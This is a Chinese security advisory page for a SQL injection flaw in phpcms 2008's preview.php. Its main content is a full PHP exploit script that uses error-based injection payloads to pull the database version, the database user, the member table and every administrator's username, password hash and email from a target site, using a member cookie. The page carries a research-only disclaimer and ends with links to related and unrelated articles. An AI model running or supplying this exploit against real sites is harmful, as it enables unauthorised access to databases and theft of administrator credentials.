漏洞版本:

phpcms 2008

漏洞描述:

phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。

phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. 可能使用的时候要更改一下User-Agent,否则注入不成功。
  2. 注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
  3. <?php
  4. /**
  5. * Created by 独自等待
  6. * Date: 13-11-24
  7. * Time: 下午8:36
  8. * Name: phpcms2008_preview.php
  9. * 独自等待博客:http://www.waitalone.cn/
  10. */
  11. print_r('
  12. +------------------------------------------------------+
  13. PHPCMS2008 preview.php 注入EXP
  14. Site:http://www.waitalone.cn/
  15. Exploit BY: 独自等待
  16. Time:2013-11-24
  17. +------------------------------------------------------+
  18. ');
  19. if($argc <3){
  20. print_r('
  21. +------------------------------------------------------+
  22. Useage: php '. $argv[0].' host path
  23. Host: target server (ip/hostname)
  24. Path: path of phpcms
  25. Example: php '. $argv[0].' localhost /phpcms
  26. +------------------------------------------------------+
  27. ');
  28. exit;
  29. }
  30. error_reporting(7);
  31. //统计时间
  32. $start_time = func_time();
  33. $host = $argv[1];
  34. $path = $argv[2];
  35. $cookie ='';//请把会员cookie写入此变量中
  36. if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
  37. if(preg_match('/MySQL Query/i', send_pack("'"))){
  38. //数据库版本
  39. $db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  40. echo '数据库版本:'. get_info($db_ver)."\n";
  41. //数据库用户
  42. $db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  43. echo '数据库用户:'. get_info($db_user)."\n";
  44. //获取用户表
  45. $db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  46. $member = get_info($db_member);
  47. //获取管理员数量
  48. $db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  49. $ad_count = get_info($db_count);
  50. echo '管理员表中共有--['. $ad_count .']--个管理员'."\n";
  51. //显示注入数据
  52. foreach(range(0,($ad_count -1))as $i){
  53. $ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
  54. echo '管理员['.($i +1).']-->'. get_info($ad_pass)."\n";
  55. }
  56. }else{
  57. exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
  58. }
  59. //提取返回信息
  60. function get_info($info)
  61. {
  62. preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
  63. if(preg_match('/charset=utf-8/i', send_pack($info))){
  64. return iconv('utf-8','gbk//IGNORE', $match_string[1]);
  65. }else{
  66. return $match_string[1];
  67. }
  68. }
  69. //发送数据包函数
  70. function send_pack($cmd)
  71. {
  72. global $host, $path, $cookie;
  73. $data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1\r\n";
  74. $data .="Host: ". $host ."\r\n";
  75. $data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\r\n";
  76. $data .="Cookie:". $cookie ."\r\n";
  77. $data .="Connection: Close\r\n\r\n";
  78. //echo $data;
  79. //这里一定要2个\r\n否则将会一直等待并且不返回数据
  80. $fp =@fsockopen($host,80, $errno, $errstr,30);
  81. //echo ini_get('default_socket_timeout');//默认超时时间为60秒
  82. if(!$fp){
  83. echo $errno .'-->'. $errstr;
  84. exit('Could not connect to: '. $host);
  85. }else{
  86. fwrite($fp, $data);
  87. $back ='';
  88. while(!feof($fp)){
  89. $back .= fread($fp,1024);
  90. }
  91. fclose($fp);
  92. }
  93. return $back;
  94. }
  95. //时间统计函数
  96. function func_time()
  97. {
  98. list($microsec, $sec)= explode(' ', microtime());
  99. return $microsec + $sec;
  100. }
  101. echo '脚本执行时间:'. round((func_time()- $start_time),4).'秒。';
  102. ?>

安全建议:

目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最 新版本:http://www.phpcms.cn

phpcms 2008 /preview.php SQL注入漏洞的更多相关文章

  1. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  2. 最新phpcms v9.6.0 sql注入漏洞分析

    昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...

  3. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...

  4. PHPCMS 2008 SQL注入漏洞

    漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...

  5. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  6. 【代码审计】iZhanCMS_v2.1 后台存在多个SQL注入漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  7. PHP代码审计入门(SQL注入漏洞挖掘基础)

    SQL注入漏洞 SQL注入经常出现在登陆页面.和获取HTTP头(user-agent/client-ip等).订单处理等地方,因为这几个地方是业务相对复杂的,登陆页面的注入现在来说大多数是发生在HTT ...

  8. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  9. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

随机推荐

  1. Java语言----三种循环语句的区别

    ------- android培训.java培训.期待与您交流! ---------- 第一种:for循环 循环结构for语句的格式:       for(初始化表达式;条件表达式;循环后的操作表达式 ...

  2. jQuery 1.7以后 jQuery2 新元素绑定事件on替代live

    最近做了一个类别动态加载的功能,jQuery版本用的是2.02. 绑定事件jQuery1.7之前用的是live或者是bind.新版的jQuery新增了on方法 由于子类别是动态加载的,默认是不会有事件 ...

  3. Nodejs初学者福音

    Nodejs+Express+MongoDb 搭建个人博客  001 我喜欢把任务或者工作分解成工作流来完成,如下,后面将会按照流程来详述,希望能为Nodejs初学者及推广Nodejs做出些努力. n ...

  4. less的使用方法

    LESS学习 1.变量 我们可以把一个css样式的值赋给一个参数,然后再设置样式的时候只需要设置这个参数名,如果要修改,就改参数的值就可以了. demo.html <!DOCTYPE html& ...

  5. 在C#中IEnumerable与IEnumerator

    对于很多刚开始学习C#同学来说经常会遇到IEnumerable这个关键字,enumerate在字典里的解释是列举,枚举,因此可想而知这个关键字肯定是和列举数据有关的操作. public interfa ...

  6. This transaction has been rolled back, rather than only the current.

    今天上午,收到运维组同事反映某应用系统的其中一个功能报错,不是偶然性事件,每个使用该功能的用户都报错.报错内容为:This transaction has been rolled back, rath ...

  7. UIScrollView解决touchesBegan等方法不能触发的解方案

    新建一个类继承自UIScrollView  并重写下面的方法 -(void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{ [su ...

  8. 刷漆(Codechef October Challenge 2014:Remy paints the fence)

    [问题描述] Czy做完了所有的回答出了所有的询问,结果是,他因为脑力消耗过大而变得更虚了:).帮助Czy恢复身材的艰巨任务落到了你的肩上. 正巧,你的花园里有一个由N块排成一条直线的木板组成的栅栏, ...

  9. TOKEN+签名验证

    TOKEN+签名验证 首先问大家一个问题,你在写开放的API接口时是如何保证数据的安全性的?先来看看有哪些安全性问题在开放的api接口中,我们通过http Post或者Get方式请求服务器的时候,会面 ...

  10. 原生 JavaScript 图片裁剪效果

    图片裁剪程序效果如下,可鼠标操作.   拖动左边小方框时在右侧实时显示对应的裁剪图片,同时左侧的拖动框里图片完全显示,拖动框外部图片模糊显示.8个控制点可以对显示区域大小进行控制. HTML 和 CS ...